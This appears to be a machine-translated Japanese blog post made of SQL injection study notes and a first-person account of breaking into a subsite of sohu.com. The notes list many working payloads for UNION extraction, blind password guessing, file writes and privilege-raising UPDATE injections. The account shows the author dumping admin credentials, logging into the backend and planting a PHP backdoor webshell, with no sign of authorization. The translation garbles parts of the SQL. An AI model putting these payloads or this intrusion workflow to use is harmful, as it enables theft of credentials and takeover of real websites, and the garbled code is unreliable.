今日はインターネットから SQL インジェクションに関する基本的なスキルを学びました。 SQL インジェクションの焦点は、SQL ステートメントを構築することです。SQL
ステートメントを柔軟に使用することによってのみ、素晴らしいインジェクション文字列を構築できます。勉強した後はメモを書き、いつでも使えるようにしています。以下の内容を読む前に、SQL の基本原理を理解していただければ幸いです
。メモ内のコードはインターネットから取得したものです。
===基本部分===
このテーブルクエリ:
http://127.0.0.1/injection/user.php?username=angel' と LENGTH(パスワード) ='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m
ユニオン Union ステートメント:
http://127.0. 0.1/injection/show.php?id=1' Union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' Union select 1,username,password user/*
からファイルをエクスポートします:
http://127.0.0.1/injection/user.php?username=angel' を出力ファイル 'c:/file.txt
http://127.0.0.1 /injection/user.php?username=' または 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' Union select 1,username,passwordユーザーから出力ファイル 'c:/user.txt
INSERT ステートメント:
INSERT INTO `user` (ユーザー ID、ユーザー名、パスワード、ホームページ、ユーザーレベル) VALUES ('', '$username ', '$password', '$homepage', '1');
構築されたホームページの値は次のとおりです: http://4ngel.net', '3')#
SQL ステートメントは次のようになります: INSERT INTO ` user` (ユーザー ID、ユーザー名、パスワード、ホームページ、ユーザーレベル) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1'); 🎜 >
UPDATE 文: こういうのが好きです まずはこの SQL 文を理解してください
UPDATE user SET password='MD5($password)',homepage='$homepage' WHERE id=' $ id'
この SQL を次の形式に変更するとインジェクションが実現します
1: ホームページの値を
http://4ngel.net', userlevel='3
に変更します。 SQL ステートメントは次のようになります。 For
UPDATE user SET password='mypass',homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
Userlevel はユーザー レベル
2: 変更 パスワード値は
Mypass)' WHERE username='admin'#
その後、SQL ステートメントは
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#) になります。 '、homepage= '$homepage' WHERE id='$id'
3: id 値を
' または username='admin'
に変更すると、SQL ステートメントは
UPDATE user SET password になります。 ='MD5($password)',homepage='$homepage' WHERE id='' OR username='admin'
===高度な部分=== よく使われるMySQLの構築-in 関数
DATABASE ()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING( )
MID()
char()
load_file()
……
関数アプリケーション
UPDATE 記事 SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 Union select 1,database(),version ()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) は angel、10 進数に相当します
http://127.0.0.1/injection/user.php?userid=1そして、password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/ injection /user.php?userid=1 and ord(mid(password,3,1))>111
データ構造内のフィールドの数と型を決定します
http://127.0.0.1/injection /show.php?id=-1 Union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 Union select char(97),char(97),char (97)
データテーブル名を推測
http://127.0.0.1/injection/show.php?id=-1 Union select 1,1,1 from members
取得するクロステーブルクエリユーザー名とパスワード
http://127.0.0.1/ymdown/show.php?id=10000 Union select 1,username,1,password,1,1,1,1,1,1,1,1 ,1,1,1,1 ,1,1,1 from ymdown_user where id=1
その他
#最初のパスワードを確認
http://127.0.0.1/ymdown/show.php?id =10 Union select 1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord( mid(password,1,1 ))=49
===インジェクション防止===
サーバー アスペクト
Magic_quotes_gpc はオンに設定されます
Display_errors はオフに設定されます
エンコード アスペクト
$keywords = addlashes($keywords) ;
$keywords = str_replace("_","_",$keywords);
$keywords = str_replace("%","%",$keywords);
数値型
intval() のキャッチと置換を使用します
文字列型
SQL ステートメントのパラメーターには一重引用符を追加する必要があります
インジェクションを防ぐために次のコードが使用されます
if (get_magic_quotes_gpc( )) {
//... .
}else{
$str = mysql_real_escape_string($str)
$keywords = str_replace("_","_",$keywords);
$keywords = str_replace("%" ,"%",$keywords);
}
便利な関数
tripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
trip_tags()
array_map()
Addslashes()
参考記事:
http://www.4ngel.net/article/36.htm (MySQL による SQL インジェクション) 中国語
http ://www.phpe.net/mysql_manual /06-4.html (MYSQL ステートメント リファレンス)
sohu.com のセキュリティ チェック
Hacker Defense Line で公開
http://www. loveshell.net
sohu.com 中国では比較的大きなポータルサイトで、メールをはじめ多くのサービスを提供しています。よく言われるように、このような大規模な Web サイトでは問題を回避するのは困難です。これはサーバーと Web サイトの両方に当てはまります。私は最近 MySQL インジェクションについて学びました。 sohu.com。SQL インジェクションの脆弱性があるかどうかを確認するための小規模なセキュリティ チェック。
sohu.com のメイン サイトを見ると、ほとんどすべてが静的であることがわかったので、メイン サイトで問題を見つけるという考えはあきらめました。 sohu.com のさまざまなサブサイトを直接閲覧したところ、ほとんどの Web サイトでは Php スクリプトが使用されており、一部の Web サイトでは JSP スクリプトが使用されていることがわかりました。経験に基づいて、Php で構築されたシステムの場合、バックグラウンド データベースは一般的にです。 Mysql は、ASP が Mssql に相当するのと同じように、まだ多くの問題が考えられるようです。 Php の特性 (Php はデフォルトで渡されたパラメータの ' などの文字を変換するため、デフォルトでは文字型の変数を注入することが困難です) により、通常は数値型の変数しか注入できません。通常のインジェクションの知識に基づいて、id=XXX の形式で渡されるパラメーターは一般に数値変数であることがわかっているため、脆弱性を見つけるには php?id=XXX を使用してそれらの接続をテストするだけで済みます。 XXX.it.sohu.com http://XXX.it.sohu.com/book/serialize.php?id=86
送信:
http://XXX.it で問題のある接続が実際に見つかりました。 sohu.com/book/serialize.php?id=86 and 1=1/*
図1のように通常に戻ります。
次に送信します:
http://XXX.it.sohu.com/book/serialize.php?id=86 および 1=2/*
図 2 に示すように、情報は返されません。空です。 SQL ステートメントの結果は空であるはずです。
これら 2 つの URL から、送信した and 1=1 と and 1=2 が SQL ステートメントとして実行されるため、脆弱性が存在すると推測できます。その後、これは SQL です!また、id 変数が数値として扱われ、'' の間に配置されていないこともわかります。そうでない場合は、変数が他の SQL キーワードをフィルターしなければ、成功する可能性があります。変数が選択をフィルターするという状況が数多く発生しました。これは、mysql の行き詰まりです。
抜け穴があるので、まずデータベース アカウントの種類と接続を検出します。高い権限があり、データベースと Web が同じマシン上にある場合は、フィールドを推測する手間を省くことができます:
http://XXX.it.sohu.com/book/serialize.php?id=86 とord (mid(version(),1,1))>51/*
図 3 に示すように、通常の状態に戻ります。このステートメントは、データベースのバージョンが 3 より大きいかどうかを確認するためのものです。3 の ASCII は51! バージョン 最初の文字が 51 より大きい場合は、もちろん 4.0 以降です。4.0 以降ではユニオン クエリがサポートされているため、1 つずつ推測する手間が省けます。つまり、データベースは 4.0 です。以上であればUnion対応可能です。
ユニオン クエリがサポートされているので、最初にこのステートメントのフィールドを公開しましょう。今後、ユニオンを使用してクエリを実行すると非常に高速になります。
http://XXX.it.sohu.com/ book /serialize.php?id=86 order by 10/*
返された結果は、図 4 に示すように正常です。送信を続けると、
http://XXX フィールドが 10 個を超えているようです。 .it.sohu.com/ book/serialize.php?id=86 20/* までにご注文ください
通常どおりに戻り、送信してください:
http://XXX.it.sohu.com/book/serialize.php? id=86 order by 30/ *
...
50 までに注文したところ、情報が返されなかったので、40 より大きく 50 未満のようだったので、送信しました:
http ://XXX.it.sohu. com/book/serialize.php?id=86 order by 45/*
...
ようやくフィールドが41あたりだと推測しました!一部のフィールドはソートできないため、フィールド番号が 41 であることを正確に特定するには、引き続き Union を使用する必要があります。
http://XXX.it.sohu.com/book/serialize.php?id=86および 1=2 共用体選択 1,2,3 ,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22, 23,24,25,26,27,28 ,29,30,31,32,33,34,35,36,37,38,39,40,41/*
返される結果は図のようになります5、ははは、ページにどのフィールドが表示されるかは一目瞭然です。送信しましょう:
http://XXX.it.sohu.com/book/serialize.php? id=86 および 1=2 ユニオン選択 1,user(),3,4 ,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18 ,19,20,21,22,23,24,25,26,27 ,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
返された結果は図 6 に示すとおりです。データベース システムの検出は完了しました。ルートではない可能性があり、データベース サーバーと Web が同じサーバー上にない可能性があります。ファイル権限がある! 送信:
http://XXX.it.sohu.com/book/serialize.php ?id=86 and (select count(*) from mysql.user)>0/*
返された結果は図 7 に示されています。mysql には読み取り権限がありません。権限が root ではないことは間違いありません。笑
あなたは root ではないので、落ち込まずに続けましょう。データをさらに推測する前に、管理者パスワードを見つけても、ログインする場所が見つからないことがよくあります。これは非常に憂鬱です。バックエンドでよく使用されるアドレス (/ など) を追加します。 admin と /manage/ はすべて 404 エラーを返します。何度か推測した結果、/book/ ディレクトリで admin を実行しようとすると 403 Forbiden エラーが発生しました。しかし、ログイン ページは正常に存在しています。まさか、私は落ち込んでいます! しかし、管理者がいることがわかったので、Google で検索しましょう:
admin site:sohu.com
図 8 に示すように、別のサブのフォーラムが見つかりました。 -site 人を知っています。通常、場所のバックエンドの特性が Web サイト全体の特性になる可能性が高いため、/book/admin/admuser.php にアクセスしようとしたとき、奇跡が起こりました。図 9 に示すように、これで成功に近づきました。実際、元のファイルを見ると、ログイン フォームの名前もわかりました。名前とパスワードが一致しない場合でも、相手の管理者テーブルの構造を推測するのは簡単です (笑)。なぜ最初に背景を推測する必要があるのかが分かりました。 :
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1= 2 Union select 1,user(),3,4,database(),6,7,8 ,9,10,バージョン(),12,13,14,15,16,17,18,19,20,21 ,22,23,24,25,26,27,28,29,30,31,32 ,33,34,35,36,37,38,39,40,41 from admin/*
エラーを返します。admin テーブルが存在しないことを意味します。admins、admin_user などを試し、最後に次を送信します。
http://XXX.it.sohu.com/book/serialize.php?id=86 と 1=2 Union select 1,user (),3,4,database(),6,7,8, 9,10,バージョン(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32, user/*
から 33,34,35,36,37,38,39,40,41 が返されました。これは管理者テーブルですか?送信するには:
http://XXX.it.sohu.com/book/serialize.php?id=86 と 1=2 Union select 1,name,3,4,5,6,7,8,9 ,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34 ,35,36,37,38,39,40,41 from user/*
空の情報を返すエラー、送信:
http ://XXX.it.sohu.com/book/serialize.php?id =86 および 1=2 共用体選択 1、パスワード、3、4、5、6、7、8、9、10、11、12、13、14、15、16、17、18、19、20、21、 22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37, 38,39,40,41 from user/*
返される結果は次のとおりです図 10 に示すように、正常に返され、パスワードが表示されます。これは、管理者テーブルの最初のユーザーのパスワードであるはずです。では、多くのフィールドでエラーが返されたと思います。 ID を入力するしかありません。ID は管理者の名前です。
http://XXX.it.sohu.com/book/serialize.php?id=86 と 1=2 です。ユニオン選択 1、パスワード、3、4、ID、6、7、8、9、10、11、12、13、14、15、16、17、18、19 、20、21、22、23、24、 25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
返された結果を図 11 に示します。 , 管理者の名前を取得しました! 興奮して管理者の名前とパスワードをバックエンドに取り込み、ログインに成功しました。次に、Webシェルを取得する方法を考えます。バックグラウンドで画像をアップロードする場所を見つけましたが、phpファイルをアップロードすると、画像ファイルではないというメッセージが表示され、慎重に探しました。しばらくバックグラウンドを眺めていると、PHP ファイルを生成する機能があることがわかり、図 13 に示すように、そこに 1 文の PHP バックドアが挿入されました。 Generate をクリックすると、プロンプトが表示されれば成功したようです。はフィルタリングではないので、Web シェルを取得する必要があります。接続には 1 文のバックドアを使用します。Web シェルの取得後、スクリプトは成功したことを検出しました。 , サーバーに行って調べてみたところ、サーバーのセキュリティは良好でしたが、コマンドは実行できず、基本的にアップロードしたディレクトリ以外のすべてのディレクトリは書き込み可能ではありませんでした。ただし、スクリプトとして。テストでは、Web シェルを取得できれば成功したとみなされます。また、フィルタリングを行わない小さなパラメータが Web サイトの崩壊につながる可能性があることもわかります。特に sohu.com のような大規模な Web サイトでは、より多くのパラメータがあるため、より注意を払う必要があります。フィルタリングの問題に!